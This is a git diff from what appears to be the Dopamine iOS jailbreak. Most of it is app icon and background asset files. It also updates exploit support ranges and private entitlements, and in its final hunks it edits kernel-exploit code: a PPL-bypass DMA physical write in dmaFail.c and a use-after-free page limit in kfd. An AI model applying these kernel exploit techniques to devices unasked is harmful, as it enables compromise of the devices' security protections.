"filename" : "Icon-60@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "60x60" + }, + { + "filename" : "Icon-60@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "60x60" + }, + { + "filename" : "Icon-64@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "64x64" + }, + { + "filename" : "Icon-64@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "64x64" + }, + { + "filename" : "Icon-68@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "68x68" + }, + { + "filename" : "Icon-76@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "76x76" + }, + { + "filename" : "Icon-83.5@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "83.5x83.5" + }, + { + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@2x.png new file mode 100644 index 0000000000..72dafd83d1 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@3x.png new file mode 100644 index 0000000000..e9078bc513 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-38@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@2x.png new file mode 100644 index 0000000000..97d6abdb55 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@3x.png new file mode 100644 index 0000000000..40ab51c73a Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-60@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@2x.png new file mode 100644 index 0000000000..076695c3f7 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@3x.png new file mode 100644 index 0000000000..ddd6359aad Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-64@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-68@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-68@2x.png new file mode 100644 index 0000000000..f7aa8fd88b Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-68@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-76@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-76@2x.png new file mode 100644 index 0000000000..2f6192288f Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-76@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-83.5@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-83.5@2x.png new file mode 100644 index 0000000000..13476b1ccf Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@2x.png new file mode 100644 index 0000000000..f0d9b2f0e8 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@3x.png new file mode 100644 index 0000000000..305be1ae18 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Notification@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@2x.png new file mode 100644 index 0000000000..05205a84d1 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@3x.png new file mode 100644 index 0000000000..97d6abdb55 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small-40@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@2x.png new file mode 100644 index 0000000000..3b9fda98ab Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@3x.png new file mode 100644 index 0000000000..5e5056244c Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Purple.appiconset/Icon-Small@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Contents.json b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Contents.json new file mode 100644 index 0000000000..874cc01649 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Contents.json @@ -0,0 +1,118 @@ +{ + "images" : [ + { + "filename" : "Icon-Notification@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "20x20" + }, + { + "filename" : "Icon-Notification@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "20x20" + }, + { + "filename" : "Icon-Small@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "29x29" + }, + { + "filename" : "Icon-Small@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "29x29" + }, + { + "filename" : "Icon-38@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "38x38" + }, + { + "filename" : "Icon-38@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "38x38" + }, + { + "filename" : "Icon-Small-40@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "40x40" + }, + { + "filename" : "Icon-Small-40@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "40x40" + }, + { + "filename" : "Icon-60@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "60x60" + }, + { + "filename" : "Icon-60@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "60x60" + }, + { + "filename" : "Icon-64@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "64x64" + }, + { + "filename" : "Icon-64@3x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "3x", + "size" : "64x64" + }, + { + "filename" : "Icon-68@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "68x68" + }, + { + "filename" : "Icon-76@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "76x76" + }, + { + "filename" : "Icon-83.5@2x.png", + "idiom" : "universal", + "platform" : "ios", + "scale" : "2x", + "size" : "83.5x83.5" + }, + { + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@2x.png new file mode 100644 index 0000000000..3f6e071d2e Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@3x.png new file mode 100644 index 0000000000..86c97b1f5f Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-38@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@2x.png new file mode 100644 index 0000000000..10277ff113 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@3x.png new file mode 100644 index 0000000000..336cf412b4 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-60@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@2x.png new file mode 100644 index 0000000000..8826124c55 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@3x.png new file mode 100644 index 0000000000..6e84cc3210 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-64@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-68@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-68@2x.png new file mode 100644 index 0000000000..48201667c7 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-68@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-76@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-76@2x.png new file mode 100644 index 0000000000..7b944b72cb Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-76@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-83.5@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-83.5@2x.png new file mode 100644 index 0000000000..33b976c96a Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@2x.png new file mode 100644 index 0000000000..daf79dc491 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@3x.png new file mode 100644 index 0000000000..f053c809d4 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Notification@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@2x.png new file mode 100644 index 0000000000..5a02567b70 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@3x.png new file mode 100644 index 0000000000..10277ff113 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small-40@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@2x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@2x.png new file mode 100644 index 0000000000..30dfb820a6 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@3x.png b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@3x.png new file mode 100644 index 0000000000..7167169a76 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/AppIcon_Red.appiconset/Icon-Small@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/Background.imageset/pexels-soubhagya-maharana-4124435.jpg b/Application/Dopamine/Assets.xcassets/Background.imageset/pexels-soubhagya-maharana-4124435.jpg deleted file mode 100644 index 7ea726ab7e..0000000000 Binary files a/Application/Dopamine/Assets.xcassets/Background.imageset/pexels-soubhagya-maharana-4124435.jpg and /dev/null differ diff --git a/Application/Dopamine/Assets.xcassets/Background.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/Contents.json similarity index 81% rename from Application/Dopamine/Assets.xcassets/Background.imageset/Contents.json rename to Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/Contents.json index d2379720de..bf8da042ee 100644 --- a/Application/Dopamine/Assets.xcassets/Background.imageset/Contents.json +++ b/Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/Contents.json @@ -9,7 +9,7 @@ "scale" : "2x" }, { - "filename" : "pexels-soubhagya-maharana-4124435.jpg", + "filename" : "blue.jpg", "idiom" : "universal", "scale" : "3x" } diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/blue.jpg b/Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/blue.jpg new file mode 100644 index 0000000000..a0997511d4 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Background/Background_Blue.imageset/blue.jpg differ diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/Contents.json new file mode 100644 index 0000000000..8cc7267ab5 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "idiom" : "universal", + "scale" : "2x" + }, + { + "filename" : "ellekit.jpg", + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/ellekit.jpg b/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/ellekit.jpg new file mode 100644 index 0000000000..c7df5dbd6e Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Background/Background_ElleKit.imageset/ellekit.jpg differ diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/Contents.json new file mode 100644 index 0000000000..cee9d9267e --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "idiom" : "universal", + "scale" : "2x" + }, + { + "filename" : "green.jpg", + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/green.jpg b/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/green.jpg new file mode 100644 index 0000000000..b07e377f10 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Background/Background_Green.imageset/green.jpg differ diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/Contents.json new file mode 100644 index 0000000000..2c66eb3312 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "idiom" : "universal", + "scale" : "2x" + }, + { + "filename" : "purple.jpg", + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/purple.jpg b/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/purple.jpg new file mode 100644 index 0000000000..5e9c0655f7 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Background/Background_Purple.imageset/purple.jpg differ diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/Contents.json new file mode 100644 index 0000000000..6c823a2ae9 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "idiom" : "universal", + "scale" : "2x" + }, + { + "filename" : "red.jpg", + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/red.jpg b/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/red.jpg new file mode 100644 index 0000000000..590f26e007 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Background/Background_Red.imageset/red.jpg differ diff --git a/Application/Dopamine/Assets.xcassets/Background/Contents.json b/Application/Dopamine/Assets.xcassets/Background/Contents.json new file mode 100644 index 0000000000..73c00596a7 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Background/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Contents.json index d2683c168e..f2698e5fbe 100644 --- a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Contents.json +++ b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Contents.json @@ -1,15 +1,17 @@ { "images" : [ { + "filename" : "Dopamine.png", "idiom" : "universal", "scale" : "1x" }, { + "filename" : "Dopamine@2x.png", "idiom" : "universal", "scale" : "2x" }, { - "filename" : "Dopamine.png", + "filename" : "Dopamine@3x.png", "idiom" : "universal", "scale" : "3x" } diff --git a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine.png b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine.png index 048884b071..b3cd372442 100644 Binary files a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine.png and b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine.png differ diff --git a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@2x.png b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@2x.png new file mode 100644 index 0000000000..62f49fb330 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@3x.png b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@3x.png new file mode 100644 index 0000000000..560afd45f5 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Dopamine.imageset/Dopamine@3x.png differ diff --git a/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/Contents.json new file mode 100644 index 0000000000..2e8734b133 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/Contents.json @@ -0,0 +1,12 @@ +{ + "images" : [ + { + "filename" : "DopamineLogo.pdf", + "idiom" : "universal" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/DopamineLogo.pdf b/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/DopamineLogo.pdf new file mode 100644 index 0000000000..b2423a9fa5 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/DopamineLogo.imageset/DopamineLogo.pdf differ diff --git a/Application/Dopamine/Assets.xcassets/Package Managers/Contents.json b/Application/Dopamine/Assets.xcassets/Package Managers/Contents.json new file mode 100644 index 0000000000..73c00596a7 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Package Managers/Contents.json @@ -0,0 +1,6 @@ +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/AppIcon83.5x83.5@2x.png b/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/AppIcon83.5x83.5@2x.png new file mode 100644 index 0000000000..8952ca2108 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/AppIcon83.5x83.5@2x.png differ diff --git a/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/Contents.json new file mode 100644 index 0000000000..a4dfba9ee8 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Package Managers/Sileo.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "filename" : "AppIcon83.5x83.5@2x.png", + "idiom" : "universal", + "scale" : "2x" + }, + { + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/Contents.json b/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/Contents.json new file mode 100644 index 0000000000..18eb52a245 --- /dev/null +++ b/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/Contents.json @@ -0,0 +1,21 @@ +{ + "images" : [ + { + "idiom" : "universal", + "scale" : "1x" + }, + { + "filename" : "icon_83.5@2x.png", + "idiom" : "universal", + "scale" : "2x" + }, + { + "idiom" : "universal", + "scale" : "3x" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/icon_83.5@2x.png b/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/icon_83.5@2x.png new file mode 100644 index 0000000000..e441b5cf76 Binary files /dev/null and b/Application/Dopamine/Assets.xcassets/Package Managers/Zebra.imageset/icon_83.5@2x.png differ diff --git a/Application/Dopamine/Dependencies/libcurl.a b/Application/Dopamine/Dependencies/libcurl.a deleted file mode 100644 index 8ede024e56..0000000000 Binary files a/Application/Dopamine/Dependencies/libcurl.a and /dev/null differ diff --git a/Application/Dopamine/Dependencies/libfragmentzip.a b/Application/Dopamine/Dependencies/libfragmentzip.a deleted file mode 100644 index cc54b1a231..0000000000 Binary files a/Application/Dopamine/Dependencies/libfragmentzip.a and /dev/null differ diff --git a/Application/Dopamine/Dependencies/libgrabkernel.a b/Application/Dopamine/Dependencies/libgrabkernel.a deleted file mode 100644 index 0557545ca8..0000000000 Binary files a/Application/Dopamine/Dependencies/libgrabkernel.a and /dev/null differ diff --git a/Application/Dopamine/Dependencies/libgrabkernel2.a b/Application/Dopamine/Dependencies/libgrabkernel2.a new file mode 100644 index 0000000000..29727feaaf Binary files /dev/null and b/Application/Dopamine/Dependencies/libgrabkernel2.a differ diff --git a/Application/Dopamine/Dependencies/libpartial.a b/Application/Dopamine/Dependencies/libpartial.a new file mode 100644 index 0000000000..ed8f0373fd Binary files /dev/null and b/Application/Dopamine/Dependencies/libpartial.a differ diff --git a/Application/Dopamine/Dependencies/tar.dylib b/Application/Dopamine/Dependencies/tar.dylib deleted file mode 100755 index 8928056cec..0000000000 Binary files a/Application/Dopamine/Dependencies/tar.dylib and /dev/null differ diff --git a/Application/Dopamine/Dopamine.entitlements b/Application/Dopamine/Dopamine.entitlements index 0eec4ef04b..807a98d4d9 100644 --- a/Application/Dopamine/Dopamine.entitlements +++ b/Application/Dopamine/Dopamine.entitlements @@ -6,6 +6,8 @@ proc_info-allow + com.apple.private.persona-mgmt + com.apple.private.tcc.allow kTCCServiceSystemPolicyAllFiles @@ -32,8 +34,19 @@ com.apple.security.exception.iokit-user-client-class + AGXDevice AGXDeviceUserClient + AGXSharedUserClient + AGXGLContext + AGXCommandQueue + IOSurfaceRoot IOSurfaceRootUserClient + AppleJPEGDriverUserClient + H11ANEInDirectPathClient + com.apple.developer.kernel.extended-virtual-addressing + + com.apple.developer.kernel.increased-memory-limit + diff --git a/Application/Dopamine/Exploits/badRecovery/Info.plist b/Application/Dopamine/Exploits/badRecovery/Info.plist index e6d523ab0c..eb5372940b 100644 --- a/Application/Dopamine/Exploits/badRecovery/Info.plist +++ b/Application/Dopamine/Exploits/badRecovery/Info.plist @@ -8,17 +8,31 @@ DPFlavorPriority 1000 - DPHighestSupported - 15.4.1 - DPLowestSupported - 15.0 - DPSupportExclude - + DPSupportedRanges + + + Start + 15.0 + End + 15.4.1 + + DPSupportInclude - + + + Builds + + 19F5047e + 19F5057e + 19F5062g + + + DPExploitType PAC + CFBundleDisplayName + badRecovery diff --git a/Application/Dopamine/Exploits/dmaFail/Info.plist b/Application/Dopamine/Exploits/dmaFail/Info.plist index 703e18026b..4f7860a536 100644 --- a/Application/Dopamine/Exploits/dmaFail/Info.plist +++ b/Application/Dopamine/Exploits/dmaFail/Info.plist @@ -8,17 +8,46 @@ DPFlavorPriority 1000 - DPHighestSupported - 16.5.1 - DPLowestSupported - 15.0 + DPSupportedRanges + + + Start + 15.0 + End + 16.5.1 + + DPSupportExclude - + + + Devices + + A15 + A16 + + Builds + + 20F75 + + + DPSupportInclude - + + + Builds + + 20G5026e + 20G5037d + 20G5047d + 20G5058d + + + DPExploitType PPL + CFBundleDisplayName + dmaFail diff --git a/Application/Dopamine/Exploits/dmaFail/dmaFail.c b/Application/Dopamine/Exploits/dmaFail/dmaFail.c index c45d24309b..c1d751c377 100644 --- a/Application/Dopamine/Exploits/dmaFail/dmaFail.c +++ b/Application/Dopamine/Exploits/dmaFail/dmaFail.c @@ -177,7 +177,7 @@ void dma_ctrl_2(bool flag) } } else { - if ((value & 0x1000000000000000) == 0) { + if ((value & 0x1000000000000000) != 0) { value &= ~0x1000000000000000; physwrite64_mapped(ctrl, value); } @@ -358,9 +358,19 @@ static int physwritebuf_ppl(uint64_t physaddr, const void* input, size_t size) assert(physaddr >= kconstant(physBase)); assert(physaddr < kconstant(physBase) + kconstant(physSize)); - dma_perform(^{ - dma_writephysbuf(physaddr, input, size); - }); + while (true) { + dma_perform(^{ + dma_writephysbuf(physaddr, input, size); + }); + + // It seems sometimes the writes can be a little delayed because we are writing to a cache after all + // In this case repeat the writes until the bytes we read back match what we expect + uint8_t checkBuf[size]; + physreadbuf(physaddr, checkBuf, size); + if (!memcmp(input, checkBuf, size)) { + break; + } + } return 0; } diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd.h index 68395c328d..f7ad5f73b0 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd.h @@ -175,7 +175,7 @@ u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method) //timer_start(); const u64 puaf_pages_min = 16; - const u64 puaf_pages_max = 2048; + const u64 puaf_pages_max = 3072; assert(puaf_pages >= puaf_pages_min); assert(puaf_pages <= puaf_pages_max); assert(puaf_method <= puaf_landa); diff --git a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/info/dynamic_info.h b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/info/dynamic_info.h index 10df141090..f36f0ab5fb 100644 --- a/Application/Dopamine/Exploits/kfd/Exploit/libkfd/info/dynamic_info.h +++ b/Application/Dopamine/Exploits/kfd/Exploit/libkfd/info/dynamic_info.h @@ -12,6 +12,7 @@ struct dynamic_info { u64 kernelcache__static_base; // struct proc u64 proc__p_list__le_prev; + u64 proc__p_list__le_next; u64 proc__task; u64 proc__p_pid; u64 proc__p_fd__fd_ofiles; @@ -40,6 +41,8 @@ struct dynamic_info { u64 IOSurface__useCountPtr; u64 IOSurface__indexedTimestampPtr; 